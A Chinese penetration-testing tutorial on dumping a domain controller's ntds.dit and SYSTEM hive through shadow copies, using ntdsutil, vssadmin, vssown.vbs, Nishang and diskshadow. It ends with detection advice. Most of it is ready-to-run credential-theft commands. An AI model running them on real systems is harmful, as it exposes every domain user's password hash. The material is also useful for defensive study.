专栏首页漏洞知识库使用卷影拷贝服务提取 ntds.dit 的多种姿势

使用卷影拷贝服务提取 ntds.dit 的多种姿势

Ntds.dit

Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

我们拿到Ntds.dit就能获取到域内所有用户的hash。

使用卷影拷贝服务提取 ntds.dit

简介

在通常情况下,即使拥有管理员权限,也无法读取域控制器中的 C:\Windows\NTDS\ntds.dit 文件(活动目录始终访问这个文件,所以文件被禁止读取)。

使用 Windows 本地卷影拷贝服务,就可以获得文件的副本(类似与虚拟机的快照)

使用卷影拷贝服务提取 ntds.dit

在活动目录中,所有的数据都保存在 ntds.dit 文件中。ntds.dit 是一个二进制文件,存储位置为域控制器的 %SystemRoot%\ntds\ntds.dit。

ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和 SAM 文件一样,是被 Windows 操作系统锁定的。

通过 ntdsutil.exe 提取 ntds.dit

ntdsutil.exe 是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。

该工具支持的操作系统:

Windows Server 2003

Windows Server 2008

Windows Server 2012

工具使用方法:在域控制器的命令行环境下输入如下命令,创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制。

ntdsutil snapshot "activate instance ntds" create quit quit

可以看到,创建了一个 GUID 为 6a475b94-b066-448f-92b9-1a29b3fd2ef7 的快照。

接下来加载刚刚创建的快照。命令格式为:其中GUID就是刚刚创建快照的GUID

ntdsutil snapshot "mount {GUID}" quit quit
ntdsutil snapshot "mount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit

快照将被加载到 C:\SNAP_202011091624_VOLUMEC\ 目录下:

使用 Windows 自带的 copy 命令将快照中的文件复制出来:复制到C盘下

copy C:\$SNAP_202011091624_VOLUMEC$\windows\ntds\ntds.dit c:\ntds.dit

将之前加载的快照卸载并删除:

ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
ntdsutil snapshot "unmount {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" "delete {6a475b94-b066-448f-92b9-1a29b3fd2ef7}" quit quit

其中,6a475b94-b066-448f-92b9-1a29b3fd2ef7 为创建快照的 GUID,每次创建快照的 GUID 都不同。

再次查询当前系统中的所有快照,显示没有任何快照,表示删除成功:

ntdsutil snapshot "List All" quit quit

利用 vssadmin 提取 ntds.dit

vssadmin 是 Windows Server 2008 及 Windows 7 提供的 VSS 管理工具,可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。

在域控制器中打开命令行,输入命令,创建一个 C 盘的卷影拷贝:

vssadmin create shadow /for=c:

在创建的卷影拷贝中将 ntds.dit 复制出来:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit

此时即可在 C 盘中看到 ntds.dit 被复制出来了:

执行如下命令,删除快照:

vssadmin delete shadows /for:c: /quiet

利用 vssown.vbs 脚本提取 ntds.dit

vssown.vbs 脚本的功能和 vssadmin 类似。可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。

下载地址:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

可以在命令行环境下运行脚本:

#启动卷影拷贝服务
cscript vssown.vbs /start

#创建一个C盘的卷影拷贝
cscript vssown.vbs /create c

#列出当前卷影拷贝
cscript vssown.vbs /list

#复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit

#删除卷影拷贝
cscript vssown.vbs /delete ID

启动卷影拷贝服务:

cscript vssown.vbs /start

创建一个 C 盘的卷影拷贝:

cscript vssown.vbs /create c

列出当前卷影拷贝:

cscript vssown.vbs /list

可以看到存在一个 ID 为 FE084F25-4F38-4C8B-B2D4-3538D5644D15 的卷影拷贝,存储位置为:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3。

复制 ntds.dit:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影拷贝:

cscript vssown.vbs /delete {FE084F25-4F38-4C8B-B2D4-3538D5644D15}

使用 ntdsutil 的 IFM 创建卷影拷贝

在使用 ntdsutil 创建 IFM 时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作。

在域控制器以管理员模式打开命令行环境,输入命令:

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

将 ntds.dit 复制到 c:\test\Active Directory\ 文件夹下:

dir "c:\test\Active Directory"

将 SYSTEN 和 SECURITY 两项复制到 c:\test\registry 文件夹下:

dir "c:\test\registry"

将 ntds.dit 拖回本地后,在目标机器上将 test 文件夹删除,命令如下:

rmdir /s/q test

在 Nishang 中有一个 PowerShell 脚本 Copy-VSS.ps1。将该脚本提取出来,在域控制器中一个 powershell 窗口,导入执行脚本:

项目地址:https://github.com/samratashok/nishang

import-module .\Copy-VSS.ps1
Copy-vss

通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与ps1脚本相同的目录。

使用 diskshadow 导出 ntds.dit

查看帮助信息:

diskshadow.exe /?

在渗透中可以使用 diskshadow.exe 来执行命令,例如将需要执行的命令exec c:\windows\system32\calc.exe写入C盘目录下的command.txt文件:

echo exec c:\windows\system32\calc.exe>command.txt

使用 diskshadow.exe 执行该文件中的命令:

diskshadow /s c:\command.txt

diskshadow.exe 也可以用来导出 ntds.dit:

#将以下代码写入command.txt
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit

#加载文本(在C:\windows\system32 目录下执行,不然会出错)
diskshadow /s c:\command.txt

#转储 system.hive
reg save hklm\system c:\windows\temp\system.hive

system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息。

注意事项:

  • 在使用diskshadow.exe导出ntds.dit时,必须在C:\Windows\System32中进行操作。
  • 渗透测试人员可以在非特权用户权限下使用 diskshadow.exe 的部分功能。与其他工具相比,diskshadow的使用更为灵活。
  • 脚本执行后,要检查从快照中复制出来的 ntds.dit 文件大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。

监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  • 监控 System Event ID 7036(卷影拷贝服务进行运行状态的标志)的可疑事例,以及创建 vssvc.exe 进程的事件。
  • 监控创建 diskshadow.exe 及相关子进程的事件。
  • 监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在Windows操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。
  • 通过日志监控新出现的逻辑驱动器映射事件。

参考文章:

https://xz.aliyun.com/t/2187

本文分享自微信公众号 - 渗透攻击红队(RedTeamHacker),作者:渗透攻击红队

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-11-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 内网渗透基石篇之域控制器

    在通常情况下,即使拥有管理员权限,也无法读取域控制器中的ndts.dit文件,但是我们又非常想获得这个文件的内容,这个时候就需要使用windows本地卷影拷贝服...

    FB客服
  • 内网渗透测试研究:从NTDS.dit获取域散列值

    本文我们将演示如何获取域控制器上的Ntds.dit文件并提取其中的域账户和密码哈希。

    FB客服
  • 内网渗透 | 利用拷贝卷影提取ntds.dit

    通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。那么什么是ntds.dit呢?

    HACK学习
  • 转储域密码哈希值

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和...

    安恒网络空间安全讲武堂
  • 使用 Metasploit 获取哈希或域内哈希值

    大家好,这里是 渗透攻击红队 的第 35 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更

    渗透攻击红队
  • 利用 dcsync 获取域内所有用户哈希值

    大家好,这里是 渗透攻击红队 的第 34 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更

    渗透攻击红队
  • 从零开始内网安全渗透学习

    0x00 win2008(域控) 1、修改计算机名: ? 2、配置固定ip: 其中网关设置错误,应该为192.168.206.2,开始默认的网管 ? 3、服...

    用户1467662
  • 零基础看内网渗透技术

    2、配置固定ip: 其中网关设置错误,应该为192.168.206.2,开始默认的网管

    天钧
  • 导出域内用户hash的几种方法

    在渗透测试期间,可以利用域管权限对域内用户hash进行导出和破解。这些域内用户hash存储在域控制器(NTDS.DIT)中的数据库文件中,并带有一些其他信息,如...

    Jumbo
  • Windows认证及抓密码总结

    windows的认证方式主要有NTLM认证、Kerberos认证两种。同时,Windows Access Token记录着某用户的SID、组ID、Session...

    HACK学习
  • 通过Webshell远程导出域控ntds.dit的方法

    嗨,大家好!这次我想分享一些与“Windows Active Directory(AD)”环境相关的内容。我将使用Web shell向大家演示“如何转储Wind...

    FB客服
  • 抓取域密码哈希的各种工具集合

    在拿到域管理员权限之后,都会提取所有域用户的密码哈希进行离线破解和分析。这些密码哈希存储在域控制器(NTDS.DIT)中的数据库文件中,并包含一些附加信息,如组...

    信安之路
  • 我所了解的内网渗透 - 内网渗透知识大总结

    一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用NLTEST命令查看。...

    HACK学习
  • 腾讯发布推理框架TNN全平台版本,同时支持移动端、桌面端和服务端

    TNN是腾讯开源的新一代跨平台深度学习推理框架,也是腾讯深度学习与加速Oteam云帆的开源协同成果,由腾讯优图实验室主导,腾讯光影研究室、腾讯云架构平台部、腾讯...

    优图实验室
  • 腾讯发布推理框架TNN全平台版本,同时支持移动端、桌面端和服务端

    TNN是腾讯开源的新一代跨平台深度学习推理框架,也是腾讯深度学习与加速Oteam云帆的开源协同成果,由腾讯优图实验室主导,腾讯光影研究室、腾讯云架构平台部、腾...

    腾讯开源
  • 一次生产环境mysql迁移操作(一)数据归档

    我们有需要将物理盘上的mysql迁移到ssd上,先说一下生产环境一直有数据产生,且数据量达到500G。 方案一:使用mysqldump,不管是导入导出都太耗时,...

    一笠风雨任生平
  • 一周 “新姿势”

    这里解释一下为什么“新姿势”加了引号,这里的“新姿势”是指,我这一周内根据新的项目需求,分析需求到实现需求的知识、方法;通过阅读文章,而学到的新知识。也是对这一...

    grain先森
  • 凭据收集总结

    本来按计划应该学习横向移动,但是发现一个问题,如何横向?这就是我记录这一章的目的,提升权限之后获取凭证,利用已获取的凭证扩大战果才是正确的姿势,学习的主要资料是...

    重生信息安全
  • windows命令执行上传文件的姿势

    我们在做渗透测试的时候会经常遇到存在命令执行的Windows服务器,而且不能上传shell,唯一的入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点的...

    信安之路

扫码关注云+社区

领取腾讯云代金券